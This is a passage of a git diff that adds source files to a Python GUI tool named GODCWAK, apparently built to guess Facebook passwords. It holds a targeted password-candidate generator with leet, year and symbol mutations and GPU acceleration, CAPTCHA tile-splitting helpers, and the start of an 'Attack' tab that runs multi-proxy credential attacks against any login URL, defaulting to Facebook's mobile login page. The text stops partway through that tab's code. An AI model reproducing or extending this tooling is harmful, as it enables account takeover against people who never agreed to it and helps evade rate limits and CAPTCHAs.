right, bottom = bbox + left = max(0, left - padding) + top = max(0, top - padding) + right = min(image.width, right + padding) + bottom = min(image.height, bottom + padding) + return image.crop((left, top, right, bottom)) + + @staticmethod + def split_grid(image: Image.Image, rows: int = 3, cols: int = 3) -> list: + """ + Split a CAPTCHA grid image into individual tiles. + Returns list of (tile_index, tile_image) tuples. + Useful for reCAPTCHA-style 3x3 or 4x4 grids. + """ + tiles = [] + w, h = image.size + tile_w = w // cols + tile_h = h // rows + + for row in range(rows): + for col in range(cols): + left = col * tile_w + top = row * tile_h + right = (col + 1) * tile_w + bottom = (row + 1) * tile_h + tile = image.crop((left, top, right, bottom)) + tile_index = row * cols + col + 1 # 1-based + tiles.append((tile_index, tile)) + + return tiles + + def cleanup_debug(self, max_age_hours: int = 24): + """Clean up old debug screenshots.""" + if not self.debug_dir: + return + + cutoff = datetime.now().timestamp() - (max_age_hours * 3600) + debug_path = Path(self.debug_dir) + + for f in debug_path.glob("capture_*.png"): + if f.stat().st_mtime < cutoff: + f.unlink() + logger.debug(f"Cleaned up: {f}") diff --git a/src/engine/__init__.py b/src/engine/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/src/engine/combinatorics.py b/src/engine/combinatorics.py new file mode 100644 index 0000000..a0c59a8 --- /dev/null +++ b/src/engine/combinatorics.py @@ -0,0 +1,125 @@ +""" +Combinatorial logic for password generation. +Handles Cartesian products, filtering, and pattern matching. +""" +import itertools +from typing import List, Optional, Set, Tuple + + +def cartesian_product(*lists: List[str]) -> List[str]: + """Generate all combinations from multiple lists.""" + if not lists: + return [] + return ["".join(combo) for combo in itertools.product(*lists)] + + +def apply_length_filter(passwords: List[str], min_len: int, max_len: int) -> List[str]: + """Filter passwords by length range.""" + return [p for p in passwords if min_len <= len(p) <= max_len] + + +def apply_required_chars_filter( + passwords: List[str], + require_upper: bool = False, + require_lower: bool = False, + require_digit: bool = False, + require_symbol: bool = False, + symbols: str = "!@#$%^&*", +) -> List[str]: + """Filter passwords that contain required character types.""" + result = [] + for pwd in passwords: + if require_upper and not any(c.isupper() for c in pwd): + continue + if require_lower and not any(c.islower() for c in pwd): + continue + if require_digit and not any(c.isdigit() for c in pwd): + continue + if require_symbol and not any(c in symbols for c in pwd): + continue + result.append(pwd) + return result + + +_LEET_TABLE = str.maketrans("aeiostbgAEIOSTBG", "4310578943105789") + + +def apply_leet_transform(passwords: List[str]) -> List[str]: + """ + Generate leet variants using a single-pass character table. + Produces exactly 2 variants per input (original + fully leet'd), + which avoids the exponential blowup of the old iterative rule approach. + """ + seen: Set[str] = set() + result: List[str] = [] + for pwd in passwords: + if pwd not in seen: + seen.add(pwd) + result.append(pwd) + leet = pwd.translate(_LEET_TABLE) + if leet not in seen: + seen.add(leet) + result.append(leet) + return result + + +def apply_capitalization_variants(passwords: List[str]) -> List[str]: + """Generate capitalization variants.""" + variants = set() + for pwd in passwords: + variants.add(pwd) + variants.add(pwd.lower()) + variants.add(pwd.upper()) + variants.add(pwd.capitalize()) + # CamelCase (first letter of each word uppercase) + # For single words, capitalize is sufficient + # Toggle case + variants.add("".join( + c.upper() if i % 2 == 0 else c.lower() + for i, c in enumerate(pwd) + )) + return list(variants) + + +def generate_number_suffixes(start: int = 0, end: int = 9999) -> List[str]: + """Generate number suffixes in common patterns.""" + if start > end: + start, end = end, start + numbers = set() + for n in range(start, end + 1): + numbers.add(str(n)) + # Common patterns + if n < 100: + numbers.add(f"{n:02d}") + if n < 1000: + numbers.add(f"{n:03d}") + # Add common special numbers + special = ["123", "007", "69", "420", "666", "777", "000", "111", "222", + "333", "444", "555", "888", "999", "1234", "4321", "0000"] + numbers.update(special) + return list(numbers) + + +def generate_common_symbols() -> List[str]: + """Return common symbols used in passwords.""" + return ["!", "@", "#", "$", "%", "^", "&", "*", "_", "-", "+", "=", ".", "?"] + + +def generate_year_range(start: int = 1990, end: int = 2030) -> List[str]: + """Generate year strings.""" + return [str(y) for y in range(start, end + 1)] + + +def estimate_combinations(word_count: int, num_count: int, sym_count: int, patterns: List[str]) -> int: + """Estimate total combinations for a given configuration.""" + total = 0 + for pattern in patterns: + count = 1 + if "{word}" in pattern: + count *= word_count + if "{num}" in pattern: + count *= num_count + if "{sym}" in pattern: + count *= sym_count + total += count + return total diff --git a/src/engine/gpu_accelerator.py b/src/engine/gpu_accelerator.py new file mode 100644 index 0000000..90c7ddc --- /dev/null +++ b/src/engine/gpu_accelerator.py @@ -0,0 +1,270 @@ +""" +GPU / high-performance acceleration for password generation. + +Priority order: + 1. CuPy (NVIDIA CUDA) — if installed and a GPU is present + 2. NumPy vectorized ops — fast CPU path + 3. Pure Python — always-available fallback +""" +import itertools +import logging +import os +import sys +from typing import List, Optional +from config import GPU_THRESHOLD + +logger = logging.getLogger(__name__) + +# ── Fix CUDA DLL discovery before importing CuPy ──────────────────────────── +# When CuPy is pip-installed (cupy-cuda12x), the CUDA runtime DLLs land inside +# the `nvidia.*` sub-packages rather than in the system CUDA toolkit directory. +# CuPy's pathfinder won't locate nvrtc.dll unless those bin/ dirs are on PATH. +def _inject_nvidia_paths() -> None: + """Configure CuPy to use pip-installed CUDA packages (no system toolkit needed). + + When CuPy is installed via pip (cupy-cuda12x + nvidia-cuda-* packages), + the CUDA runtime, nvrtc, and cublas DLLs land inside + site-packages/nvidia//bin/. + + CuPy requires: + - CUDA_PATH env var pointing to a directory with bin/, include/, lib/ + (nvidia/cuda_runtime fits this requirement exactly). + - All DLL directories on PATH so Windows can load them at import time. + """ + try: + extra_dirs: list = [] + cuda_path_candidate: str = "" + + for sp in sys.path: + if "site-packages" not in sp: + continue + nvidia_root = os.path.join(sp, "nvidia") + if not os.path.isdir(nvidia_root): + continue + + for sub in os.listdir(nvidia_root): + sub_path = os.path.join(nvidia_root, sub) + # Collect every bin/ directory that holds DLLs + bin_dir = os.path.join(sub_path, "bin") + if os.path.isdir(bin_dir) and any( + f.endswith(".dll") for f in os.listdir(bin_dir) + ): + extra_dirs.append(bin_dir) + # Prefer cuda_runtime as CUDA_PATH (has bin/ + include/ + lib/) + if sub == "cuda_runtime" and not cuda_path_candidate: + cuda_path_candidate = sub_path + + break # first matching site-packages is enough + + # Extend PATH with all DLL directories + if extra_dirs: + current_path = os.environ.get("PATH", "") + new_dirs = [d for d in extra_dirs if d not in current_path] + if new_dirs: + os.environ["PATH"] = os.pathsep.join(new_dirs) + os.pathsep + current_path + + # Set CUDA_PATH only if not already set and we found cuda_runtime + if cuda_path_candidate and "CUDA_PATH" not in os.environ: + os.environ["CUDA_PATH"] = cuda_path_candidate + + except Exception: + pass + +_inject_nvidia_paths() + +try: + import numpy as np + HAS_NUMPY = True +except ImportError: + HAS_NUMPY = False + np = None # type: ignore + +# ── CUDA / CuPy detection ──────────────────────────────────────────────────── +# CuPy 14 removed cp.char; we use integer-index Cartesian products on the GPU +# and then apply those indices with NumPy for the actual string lookups. +# This avoids any need for GPU string kernels while still getting a large +# speedup on the index-generation step (most of the work at scale). +try: + import warnings + with warnings.catch_warnings(): + warnings.simplefilter("ignore") + import cupy as cp + + # Smoke-test: run a trivial kernel to confirm nvrtc / the compiler works + _smoke = cp.array([1, 2, 3], dtype=cp.float32) + 1.0 + cp.asnumpy(_smoke) # force synchronisation + + _dev = cp.cuda.runtime.getDeviceProperties(0) + _GPU_NAME = ( + _dev["name"].decode() if isinstance(_dev["name"], bytes) else _dev["name"] + ) + _GPU_VRAM_GB = _dev["totalGlobalMem"] / (1024 ** 3) + HAS_CUPY = True + logger.info(f"CuPy GPU ready: {_GPU_NAME} ({_GPU_VRAM_GB:.1f} GB VRAM)") +except Exception as exc: + HAS_CUPY = False + _GPU_NAME = "N/A" + _GPU_VRAM_GB = 0.0 + logger.warning(f"CuPy GPU unavailable ({exc}); using NumPy/CPU path") + +_LEET_TABLE = str.maketrans("aeiostbgAEIOSTBG", "4310578943105789") + + +def get_gpu_info() -> str: + if HAS_CUPY: + return f"{_GPU_NAME} ({_GPU_VRAM_GB:.1f} GB VRAM) [CuPy GPU]" + if HAS_NUMPY: + return "No CUDA GPU — NumPy CPU acceleration" + return "No CUDA GPU — pure Python mode" + + +def is_gpu_available() -> bool: + return HAS_CUPY + + +# ── Combination generation ──────────────────────────────────────────────────── + +def gpu_generate_combinations( + prefixes: List[str], + suffixes: List[str], + symbols: Optional[List[str]] = None, +) -> List[str]: + total = len(prefixes) * len(suffixes) * (len(symbols) if symbols else 1) + if HAS_CUPY and total > GPU_THRESHOLD: + return _cupy_combinations(prefixes, suffixes, symbols) + if HAS_NUMPY: + return _numpy_combinations(prefixes, suffixes, symbols) + return _python_combinations(prefixes, suffixes, symbols) + + +def _cupy_combinations( + prefixes: List[str], + suffixes: List[str], + symbols: Optional[List[str]] = None, +) -> List[str]: + """ + Generate all Cartesian-product combinations using CuPy for the index math. + + Strategy (CuPy 14 compatible — no cp.char): + 1. Build integer index grids on the GPU (fast meshgrid). + 2. Transfer flat index arrays back to CPU (small int arrays, cheap). + 3. Use NumPy fancy-indexing on string arrays for the lookup. + This keeps string data on CPU (where Python/NumPy handles it natively) + while the expensive index explosion runs on the GPU. + """ + try: + np_pre = np.array(prefixes) + np_suf = np.array(suffixes) + + n_p = len(prefixes) + n_s = len(suffixes) + + if symbols: + np_sym = np.array(symbols) + n_sym = len(symbols) + pi = cp.arange(n_p, dtype=cp.int32) + si = cp.arange(n_s, dtype=cp.int32) + symi = cp.arange(n_sym, dtype=cp.int32) + pg, symg, sg = cp.meshgrid(pi, symi, si, indexing="ij") + p_idx = cp.asnumpy(pg.ravel()) + sym_idx = cp.asnumpy(symg.ravel()) + s_idx = cp.asnumpy(sg.ravel()) + return (np_pre[p_idx] + np_sym[sym_idx] + np_suf[s_idx]).tolist() + else: + pi = cp.arange(n_p, dtype=cp.int32) + si = cp.arange(n_s, dtype=cp.int32) + pg, sg = cp.meshgrid(pi, si, indexing="ij") + p_idx = cp.asnumpy(pg.ravel()) + s_idx = cp.asnumpy(sg.ravel()) + return (np_pre[p_idx] + np_suf[s_idx]).tolist() + + except Exception as e: + logger.error(f"CuPy GPU combination path failed ({e}), falling back") + if HAS_NUMPY: + return _numpy_combinations(prefixes, suffixes, symbols) + return _python_combinations(prefixes, suffixes, symbols) + + +def _numpy_combinations( + prefixes: List[str], + suffixes: List[str], + symbols: Optional[List[str]] = None, +) -> List[str]: + try: + p = np.array(prefixes, dtype=object) + s = np.array(suffixes, dtype=object) + if symbols: + sym = np.array(symbols, dtype=object) + p3, sym3, s3 = np.meshgrid(p, sym, s, indexing="ij") + ps = np.char.add(p3.ravel(), sym3.ravel()) + return np.char.add(ps, s3.ravel()).tolist() + p_grid, s_grid = np.meshgrid(p, s, indexing="ij") + return np.char.add(p_grid.ravel(), s_grid.ravel()).tolist() + except Exception as e: + logger.warning(f"NumPy combination path failed ({e}), using pure Python") + return _python_combinations(prefixes, suffixes, symbols) + + +def _python_combinations( + prefixes: List[str], + suffixes: List[str], + symbols: Optional[List[str]] = None, +) -> List[str]: + if symbols: + return [f"{p}{sym}{s}" for p in prefixes for sym in symbols for s in suffixes] + return [f"{p}{s}" for p in prefixes for s in suffixes] + + +# ── Leet-speak transform ─────────────────────────────────────────────────────── + +def _leet_pair(words: List[str]) -> List[str]: + seen: set = set() + result: List[str] = [] + for w in words: + if w not in seen: + seen.add(w) + result.append(w) + leet = w.translate(_LEET_TABLE) + if leet not in seen: + seen.add(leet) + result.append(leet) + return result + + +def gpu_leet_transform(words: List[str]) -> List[str]: + if len(words) < 5_000 or not HAS_NUMPY: + return _leet_pair(words) + try: + arr = np.array(words, dtype=object) + leet_fn = np.frompyfunc(lambda s: s.translate(_LEET_TABLE), 1, 1) + leet = leet_fn(arr) + combined = np.unique(np.concatenate([arr, leet])) + return combined.tolist() + except Exception: + return _leet_pair(words) + + +# ── Utility transforms ──────────────────────────────────────────────────────── + +def gpu_batch_deduplicate(strings: List[str]) -> List[str]: + seen: set = set() + out: List[str] = [] + for s in strings: + if s not in seen: + seen.add(s) + out.append(s) + return out + + +def gpu_batch_length_filter( + strings: List[str], min_len: int, max_len: int +) -> List[str]: + if len(strings) < 10_000 or not HAS_NUMPY: + return [s for s in strings if min_len <= len(s) <= max_len] + try: + arr = np.array(strings, dtype=object) + lengths = np.vectorize(len)(arr) + mask = (lengths >= min_len) & (lengths <= max_len) + return arr[mask].tolist() + except Exception: + return [s for s in strings if min_len <= len(s) <= max_len] diff --git a/src/engine/password_generator.py b/src/engine/password_generator.py new file mode 100644 index 0000000..67ae90b --- /dev/null +++ b/src/engine/password_generator.py @@ -0,0 +1,310 @@ +""" +Crush-style password generator. +Takes user-defined fragments, rules, and patterns to produce targeted password candidates. +""" +import itertools +import logging +import re +from dataclasses import dataclass, field +from typing import List, Optional, Set +from src.engine.combinatorics import ( + apply_required_chars_filter, + generate_number_suffixes, + generate_year_range, + estimate_combinations, +) +from src.engine.gpu_accelerator import ( + gpu_generate_combinations, + gpu_leet_transform as _gpu_leet, + gpu_batch_length_filter, + is_gpu_available, + get_gpu_info, +) +from config import GPU_THRESHOLD + +logger = logging.getLogger(__name__) + + +@dataclass +class GenerationConfig: + """Configuration for password generation.""" + # Known fragments (substrings the user remembers) + fragments: List[str] = field(default_factory=list) + + # Custom words the user provides + custom_words: List[str] = field(default_factory=list) + + # Number options + append_numbers: bool = False + prepend_numbers: bool = False + number_range_start: int = 0 + number_range_end: int = 9999 + use_years: bool = False + year_start: int = 1990 + year_end: int = 2030 + sequential_numbers: bool = False + + # Symbol options + append_symbols: bool = False + prepend_symbols: bool = False + symbols_between: bool = False + custom_symbols: str = "!@#$%^&*" + + # Capitalization options + first_letter_caps: bool = False + all_caps: bool = False + camel_case: bool = False + toggle_case: bool = False + + # Transform options + leet_speak: bool = False + + # Pattern templates + patterns: List[str] = field(default_factory=lambda: [ + "{word}{num}", + "{word}{sym}{num}", + "{num}{word}", + "{sym}{word}{num}", + "{word}{num}{sym}", + "{num}{sym}{word}", + ]) + + # Length constraints + min_length: int = 6 + max_length: int = 32 + + # Character requirements + require_upper: bool = False + require_lower: bool = False + require_digit: bool = False + require_symbol: bool = False + + # Custom pattern string (overrides patterns list if set) + custom_pattern: str = "" + + +class PasswordGenerator: + """Crush-style password generator with GPU acceleration.""" + + def __init__(self): + self.gpu_available = is_gpu_available() + self.gpu_info = get_gpu_info() if self.gpu_available else "CPU only" + logger.info(f"PasswordGenerator initialized. GPU: {self.gpu_info}") + + def generate(self, config: GenerationConfig) -> List[str]: + """ + Main generation method. Produces all password candidates based on config. + """ + # Build the base word list + words = self._build_word_list(config) + if not words: + logger.warning("No words/fragments provided for generation") + return [] + + logger.info(f"Base word list: {len(words)} words") + + # Apply capitalization variants + words = self._apply_capitalization(words, config) + logger.info(f"After capitalization: {len(words)} words") + + # Apply leet speak (GPU-accelerated when available) + if config.leet_speak: + words = _gpu_leet(words) + logger.info(f"After leet speak: {len(words)} words") + + # Build number and symbol lists — only when the respective flags are on + numbers = self._build_number_list(config) + use_symbols = ( + config.append_symbols or config.prepend_symbols or config.symbols_between + ) + symbols = list(config.custom_symbols) if (config.custom_symbols and use_symbols) else [] + + # Generate combinations based on patterns + passwords = self._apply_patterns(words, numbers, symbols, config) + logger.info(f"After pattern application: {len(passwords)} candidates") + + # Apply length filter (GPU-accelerated for large lists) + passwords = gpu_batch_length_filter(passwords, config.min_length, config.max_length) + logger.info(f"After length filter ({config.min_length}-{config.max_length}): {len(passwords)}") + + passwords = apply_required_chars_filter( + passwords, + require_upper=config.require_upper, + require_lower=config.require_lower, + require_digit=config.require_digit, + require_symbol=config.require_symbol, + symbols=config.custom_symbols, + ) + logger.info(f"After char requirements: {len(passwords)}") + + # Deduplicate while preserving order + seen: Set[str] = set() + unique = [] + for p in passwords: + if p not in seen: + seen.add(p) + unique.append(p) + + logger.info(f"Final unique candidates: {len(unique)}") + return unique + + def _build_word_list(self, config: GenerationConfig) -> List[str]: + """Build the base word list from fragments and custom words.""" + words = [] + + # Add fragments + for f in config.fragments: + f = f.strip() + if f: + words.append(f) + + # Add custom words + for w in config.custom_words: + w = w.strip() + if w: + words.append(w) + + return words + + def _apply_capitalization(self, words: List[str], config: GenerationConfig) -> List[str]: + """Apply capitalization rules.""" + if not any([config.first_letter_caps, config.all_caps, + config.camel_case, config.toggle_case]): + return words + + variants = set() + for w in words: + variants.add(w) # Original + if config.first_letter_caps: + variants.add(w.capitalize()) + if config.all_caps: + variants.add(w.upper()) + if config.camel_case: + # For single words, capitalize is the same as first_letter_caps + variants.add(w.capitalize()) + if config.toggle_case: + variants.add("".join( + c.upper() if i % 2 == 0 else c.lower() + for i, c in enumerate(w) + )) + + return list(variants) + + def _build_number_list(self, config: GenerationConfig) -> List[str]: + """Build the number list based on config.""" + numbers = set() + + if config.append_numbers or config.prepend_numbers: + nums = generate_number_suffixes(config.number_range_start, config.number_range_end) + numbers.update(nums) + + if config.use_years: + years = generate_year_range(config.year_start, config.year_end) + numbers.update(years) + + if config.sequential_numbers: + numbers.update(["123", "234", "345", "456", "567", "678", "789"]) + + return list(numbers) + + def _apply_patterns( + self, + words: List[str], + numbers: List[str], + symbols: List[str], + config: GenerationConfig, + ) -> List[str]: + """Apply pattern templates to generate combinations.""" + # Always include bare words — they are valid candidates on their own + passwords = set(words) + + # Determine which patterns to use + if config.custom_pattern: + patterns = [config.custom_pattern] + else: + patterns = config.patterns + + # Nothing to combine with — bare words only + if not numbers and not symbols: + return list(passwords) + + for pattern in patterns: + # Parse the pattern and generate + parts = re.split(r"(\{word\}|\{num\}|\{sym\})", pattern) + parts = [p for p in parts if p] # Remove empty strings + + # Build the lists for each part + lists_for_product = [] + for part in parts: + if part == "{word}": + lists_for_product.append(words) + elif part == "{num}": + lists_for_product.append(numbers) + elif part == "{sym}": + lists_for_product.append(symbols) + else: + # Literal text + lists_for_product.append([part]) + + if not lists_for_product: + continue + + # Generate combinations + # Use GPU if the set is large enough + total_est = 1 + for lst in lists_for_product: + total_est *= len(lst) + + if total_est > GPU_THRESHOLD and self.gpu_available: + logger.info(f"Using GPU for {total_est} combinations (pattern: {pattern})") + if len(lists_for_product) == 2: + gpu_result = gpu_generate_combinations( + lists_for_product[0], lists_for_product[1] + ) + passwords.update(gpu_result) + elif len(lists_for_product) == 3: + if parts[1] == "{sym}": + gpu_result = gpu_generate_combinations( + lists_for_product[0], + lists_for_product[2], + lists_for_product[1], + ) + passwords.update(gpu_result) + else: + for combo in itertools.product(*lists_for_product): + passwords.add("".join(combo)) + else: + # 4+ part patterns: fall back to CPU itertools + for combo in itertools.product(*lists_for_product): + passwords.add("".join(combo)) + else: + # CPU path + for combo in itertools.product(*lists_for_product): + passwords.add("".join(combo)) + + return list(passwords) + + def estimate(self, config: GenerationConfig) -> int: + """Estimate how many passwords will be generated.""" + words = self._build_word_list(config) + if not words: + return 0 + + word_count = len(words) + # Caps variants produce at most ~2x unique words + if config.first_letter_caps or config.all_caps or config.camel_case or config.toggle_case: + word_count = int(word_count * 2) + # Leet produces roughly 2x additional variants + if config.leet_speak: + word_count = int(word_count * 3) + + # Use actual helper output sizes for accuracy + num_count = len(self._build_number_list(config)) + + use_symbols = config.append_symbols or config.prepend_symbols or config.symbols_between + sym_count = len(config.custom_symbols) if (config.custom_symbols and use_symbols) else 0 + + patterns = [config.custom_pattern] if config.custom_pattern else config.patterns + # Base count always includes the bare words themselves + combo_estimate = estimate_combinations(word_count, num_count, sym_count, patterns) + return word_count + combo_estimate diff --git a/src/gui/__init__.py b/src/gui/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/src/gui/app.py b/src/gui/app.py new file mode 100644 index 0000000..d97cf85 --- /dev/null +++ b/src/gui/app.py @@ -0,0 +1,252 @@ +""" +Main application window — ties all tabs together with the cyberpunk theme. +""" +import logging +from datetime import datetime + +import customtkinter as ctk + +from src.gui.theme import CyberpunkTheme +from src.gui.password_builder_tab import PasswordBuilderTab +from src.gui.proxy_manager_tab import ProxyManagerTab +from src.gui.attack_tab import AttackTab +from src.gui.logs_tab import LogsTab +from src.gui.setup_tab import SetupTab +from src.proxy.pool import ProxyPool +from src.utils.logger import AttemptLogger +from config import ASSETS_DIR, PASSWORDS_FILE +from src.utils.file_io import count_lines + +logger = logging.getLogger(__name__) + + +class FacebookRecoveryApp(ctk.CTk): + """Main application window.""" + + def __init__(self): + super().__init__() + + CyberpunkTheme.apply() + + # Shared state + self.proxy_pool = ProxyPool() + self.attempt_logger = AttemptLogger() + + # Window + self.title("GODCWAK v1.0") + self.geometry("1300x820") + self.minsize(1080, 720) + self.configure(fg_color=CyberpunkTheme.BG_DARK) + + try: + icon_path = ASSETS_DIR / "icon.ico" + if icon_path.exists(): + from PIL import Image, ImageTk + icon = Image.open(str(icon_path)) + self._icon_photo = ImageTk.PhotoImage(icon) + self.iconphoto(True, self._icon_photo) + except Exception: + pass + + self._build_header() + self._build_tabs() + self._build_status_bar() # must be last (packs to bottom) + + self._tick_clock() + self._periodic_update() + + # ── Header ────────────────────────────────────────────────────────────── + + def _build_header(self): + outer = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK) + outer.pack(fill="x") + + ctk.CTkFrame(outer, fg_color=CyberpunkTheme.PRIMARY, height=2).pack(fill="x") + + inner = ctk.CTkFrame(outer, fg_color="transparent") + inner.pack(fill="x", padx=20, pady=(8, 8)) + + logo = ctk.CTkLabel( + inner, + text=( + "▓░ ██████╗ ██████╗ ██████╗ ██████╗██╗ ██╗ █████╗ ██╗ ██╗\n" + "▓░ ██╔════╝ ██╔═══██╗██╔══██╗██╔════╝██║ ██║██╔══██╗██║ ██╔╝\n" + "▓░ ██║ ███╗██║ ██║██║ ██║██║ ██║ █╗ ██║███████║█████╔╝ \n" + "▓░ ██║ ██║██║ ██║██║ ██║██║ ██║███╗██║██╔══██║██╔═██╗ \n" + "▓░ ╚██████╔╝╚██████╔╝██████╔╝╚██████╗╚███╔███╔╝██║ ██║██║ ██╗\n" + "▓░ ╚═════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══╝╚══╝ ╚═╝ ╚═╝╚═╝ ╚═╝" + ), + font=("Consolas", 9), + text_color=CyberpunkTheme.PRIMARY, + justify="left", + ) + logo.pack(side="left") + + badge_col = ctk.CTkFrame(inner, fg_color="transparent") + badge_col.pack(side="right", padx=(0, 5)) + + ctk.CTkLabel(badge_col, text="GODCWAK", + font=("Consolas", 18, "bold"), + text_color=CyberpunkTheme.PRIMARY).pack(anchor="e") + ctk.CTkLabel(badge_col, text="v1.0 // GPU-ACCELERATED", + font=("Consolas", 10), + text_color=CyberpunkTheme.TERTIARY).pack(anchor="e") + ctk.CTkLabel(badge_col, text="PROXY ROTATION // OLLAMA AI", + font=("Consolas", 10), + text_color=CyberpunkTheme.TEXT_DIM).pack(anchor="e") + + ctk.CTkFrame(outer, fg_color=CyberpunkTheme.BORDER, height=1).pack(fill="x") + + # ── Tabs ───────────────────────────────────────────────────────────────── + + def _build_tabs(self): + self.tab_view = ctk.CTkTabview( + self, + fg_color=CyberpunkTheme.BG_MEDIUM, + border_width=1, + border_color=CyberpunkTheme.BORDER, + corner_radius=6, + ) + self.tab_view.pack(fill="both", expand=True, padx=15, pady=(8, 0)) + + tab_names = ["Password Builder", "Proxy Manager", "Attack", "Logs", "Setup"] + for name in tab_names: + self.tab_view.add(name) + + sc = self.set_status # shared status callback + + self.password_builder_tab = PasswordBuilderTab( + self.tab_view.tab("Password Builder"), + status_callback=sc) + self.password_builder_tab.pack(fill="both", expand=True) + + self.proxy_manager_tab = ProxyManagerTab( + self.tab_view.tab("Proxy Manager"), + self.proxy_pool, + status_callback=sc) + self.proxy_manager_tab.pack(fill="both", expand=True) + + self.attack_tab = AttackTab( + self.tab_view.tab("Attack"), + self.proxy_pool, + status_callback=sc, + attempt_logger=self.attempt_logger) + self.attack_tab.pack(fill="both", expand=True) + + self.logs_tab = LogsTab( + self.tab_view.tab("Logs"), + self.attempt_logger) + self.logs_tab.pack(fill="both", expand=True) + + self.setup_tab = SetupTab(self.tab_view.tab("Setup")) + self.setup_tab.pack(fill="both", expand=True) + + # ── Status bar ─────────────────────────────────────────────────────────── + + def _build_status_bar(self): + """ + Rich multi-field status bar: + ● DOT | STATUS MSG | WORDLIST: N | PROXIES: N | CLOCK + """ + bar = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, height=32) + bar.pack(side="bottom", fill="x") + bar.pack_propagate(False) + ctk.CTkFrame(bar, fg_color=CyberpunkTheme.BORDER, height=1).pack(fill="x", side="top") + + # Left: blinking dot + status message + left = ctk.CTkFrame(bar, fg_color="transparent") + left.pack(side="left", fill="y", padx=(6, 0)) + + self._status_dot = ctk.CTkLabel( + left, text="●", font=("Consolas", 11), + text_color=CyberpunkTheme.PRIMARY) + self._status_dot.pack(side="left", padx=(0, 4)) + + self.status_label = ctk.CTkLabel( + left, text="GODCWAK READY", + font=("Consolas", 10), + text_color=CyberpunkTheme.TEXT_SECONDARY) + self.status_label.pack(side="left") + + # Right: wordlist count | proxy count | separator | clock + right = ctk.CTkFrame(bar, fg_color="transparent") + right.pack(side="right", fill="y", padx=(0, 10)) + + self.clock_label = ctk.CTkLabel( + right, text="", font=("Consolas", 10), + text_color=CyberpunkTheme.TEXT_DIM) + self.clock_label.pack(side="right", padx=(10, 0)) + + ctk.CTkFrame(right, fg_color=CyberpunkTheme.BORDER, + width=1, height=16).pack(side="right", padx=8) + + self.sb_proxies = ctk.CTkLabel( + right, text="PROXIES: 0", + font=("Consolas", 10), text_color=CyberpunkTheme.TEXT_DIM) + self.sb_proxies.pack(side="right", padx=(4, 0)) + + ctk.CTkFrame(right, fg_color=CyberpunkTheme.BORDER, + width=1, height=16).pack(side="right", padx=8) + + self.sb_wordlist = ctk.CTkLabel( + right, text="WORDLIST: 0", + font=("Consolas", 10), text_color=CyberpunkTheme.TEXT_DIM) + self.sb_wordlist.pack(side="right", padx=(4, 0)) + + self._blink_dot() + + def _blink_dot(self): + try: + cur = self._status_dot.cget("text_color") + nxt = (CyberpunkTheme.TEXT_DIM + if cur == CyberpunkTheme.PRIMARY + else CyberpunkTheme.PRIMARY) + self._status_dot.configure(text_color=nxt) + except Exception: + pass + self.after(900, self._blink_dot) + + def _tick_clock(self): + try: + self.clock_label.configure( + text=datetime.now().strftime("%Y-%m-%d %H:%M:%S")) + except Exception: + pass + self.after(1000, self._tick_clock) + + def set_status(self, message: str): + """Update the main status bar message (callable from any tab).""" + try: + self.status_label.configure(text=message[:120]) + except Exception: + pass + + # ── Periodic updates ───────────────────────────────────────────────────── + + def _periodic_update(self): + try: + wl_count = count_lines(PASSWORDS_FILE) + self.sb_wordlist.configure( + text=f"WORDLIST: {wl_count:,}", + text_color=(CyberpunkTheme.SUCCESS + if wl_count > 0 + else CyberpunkTheme.TEXT_DIM)) + except Exception: + pass + + try: + px_count = self.proxy_pool.available_count + self.sb_proxies.configure( + text=f"PROXIES: {px_count}", + text_color=(CyberpunkTheme.PRIMARY + if px_count > 0 + else CyberpunkTheme.TEXT_DIM)) + except Exception: + pass + + try: + self.proxy_manager_tab._update_stats() + except Exception: + pass + + self.after(3000, self._periodic_update) diff --git a/src/gui/attack_tab.py b/src/gui/attack_tab.py new file mode 100644 index 0000000..379a2f0 --- /dev/null +++ b/src/gui/attack_tab.py @@ -0,0 +1,490 @@ +""" +Attack Terminal Tab — multi-proxy credential attack against any login URL. +Includes live stats, speed controls, custom target URL, and CAPTCHA status. +""" +import logging +import threading +from datetime import datetime +from typing import Callable, Optional + +import customtkinter as ctk + +from src.gui.theme import CyberpunkTheme +from src.attack.orchestrator import AttackOrchestrator, AttackState, AttackStats +from src.attack.login_client import SiteConfig +from src.proxy.pool import ProxyPool +from src.utils.file_io import load_passwords, count_lines +from config import (PASSWORDS_FILE, MAX_CONCURRENT_WORKERS, DEFAULT_DELAY_MIN, + DEFAULT_DELAY_MAX, PROXY_ROTATION_EVERY, REQUEST_TIMEOUT) + +logger = logging.getLogger(__name__) + +_FB_LOGIN_URL = "https://m.facebook.com/login.php" + + +class AttackTab(ctk.CTkFrame): + + def __init__(self, parent, proxy_pool: ProxyPool, + status_callback: Optional[Callable] = None, + attempt_logger=None): + super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM) + self.proxy_pool = proxy_pool + self.status_callback = status_callback + self.orchestrator = AttackOrchestrator( + proxy_pool, logger_instance=attempt_logger) + self._build_ui() + + self.orchestrator.on_stats_update = lambda s: self.after(0, lambda: self._on_stats_update(s)) + self.orchestrator.on_log_entry = lambda e: self.after(0, lambda: self._on_log_entry(e)) + self.orchestrator.on_success = lambda p, px, r: self.after(0, lambda: self._on_success(p, px, r)) + self.orchestrator.on_state_change = lambda st: self.after(0, lambda: self._on_state_change(st)) + self.orchestrator.on_captcha = lambda px: self.after(0, lambda: self._on_captcha_hit(px)) + + # ── Build ────────────────────────────────────────────────────────────────── + + def _build_ui(self): + ctk.CTkLabel(self, text="[ ATTACK TERMINAL ]", + font=("Consolas", 18, "bold"), + text_color=CyberpunkTheme.PRIMARY).pack(pady=(15, 2)) + ctk.CTkLabel(self, + text="Multi-threaded · Proxy rotation · GPU-optimised wordlist · Any site", + font=("Consolas", 10), + text_color=CyberpunkTheme.TEXT_SECONDARY).pack(pady=(0, 10)) + + self._build_target_bar() + self._build_speed_panel() + self._build_stats_panel() + self._build_progress_bar() + self._build_control_buttons() + self._build_live_log() + self._update_periodic() + + # ── Target bar (URL + username + counters) ──────────────────────────────── + + def _build_target_bar(self): + bar = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, + border_width=1, border_color=CyberpunkTheme.BORDER) + bar.pack(fill="x", padx=15, pady=(0, 8)) + + # Row 1 — target URL + row1 = ctk.CTkFrame(bar, 